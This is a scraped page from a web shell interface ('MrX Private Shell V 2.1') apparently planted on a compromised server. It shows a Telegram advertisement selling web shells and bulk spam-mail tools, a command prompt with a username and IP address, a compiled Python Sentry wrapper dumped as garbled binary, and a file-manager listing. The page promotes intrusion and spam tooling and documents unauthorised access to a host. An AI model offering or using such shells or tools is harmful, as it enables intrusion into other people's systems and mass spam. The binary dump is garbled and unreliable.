__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

aptanhua@216.73.216.189: ~ $
�

e��g���H�ddlZddlZddlmZddlZddlmZGd�d�Zy)�N)�Versionc�"�eZdZdZdZdd�Zd�Zy)�NCSentrya
    Simple Wrapper

        sentry = NCSentry()

    After successfully inited class we can use Sentry debug system:

    Report to Sentry:
        SentryClient.capture_message("test")
        SentryClient.capture_exception(Exception("MyAwesomeString"))
    z0.19.2Nc�R�i|_|r|}n@tjjtjj	t
��}tjj
|d�|_|j�t|j�5}|j�j�|_tj|jfi|j��|_tj |_tj"|_ddd�y#1swYyxYw)Nz.sentry.conf)�sentry_args�os�path�dirname�realpath�__file__�join�	conf_path�construct_args�open�read�strip�dsn�
sentry_sdk�init�client�capture_message�capture_exception)�self�
config_dir�dir_path�fhs    �9/opt/hc_python/lib64/python3.12/site-packages/NCSentry.py�__init__zNCSentry.__init__s�������!�H��w�w���r�w�w�'7�'7��'A�B�H������h��?�������
�$�.�.�
!�R��w�w�y���(�D�H�$�/�/�$�(�(�G�d�6F�6F�G�D�K�#-�#=�#=�D� �%/�%A�%A�D�"�	"�
!�
!�s
�A=D�D&c��	tjd�}t|�}t|j�}||k\rd|jd<yy#t
$r"}t
jd|���Yd}~yd}~wwxYw)Nz
sentry-sdkr�traces_sample_ratez+Can't set up sentry default args properly: )�metadata�versionr�!_NCSentry__conflict_under_versionr�	Exception�warnings�warn)r�dist_version_str�installed_version�conflict_version�errs     rrzNCSentry.construct_args,s���
	O�'�/�/��=�� '�(8� 9��&�t�'D�'D�E�� �$4�4�9:�� � �!5�6�5���	O��M�M�G��u�M�N�N��	O�s�A	A
�
	A8�A3�3A8)N)�__name__�
__module__�__qualname__�__doc__r#rr��rrrs��
� (��B�"Or0r)rr%�importlib.metadatar!r�packaging.versionrrr/r0r�<module>r3s ��	��%��%�
+O�+Or0

Filemanager

Name Type Size Permission Actions
NCSentry.cpython-312.pyc File 2.58 KB 0644
cfgv.cpython-312.pyc File 20.71 KB 0644
dicttoxml.cpython-312.pyc File 18.2 KB 0644
nodeenv.cpython-312.pyc File 57.93 KB 0644
six.cpython-312.pyc File 40.35 KB 0644
socks.cpython-312.pyc File 33.33 KB 0644
sockshandler.cpython-312.pyc File 6.61 KB 0644
typing_extensions.cpython-312.pyc File 168.86 KB 0644
xmltodict.cpython-312.pyc File 20.41 KB 0644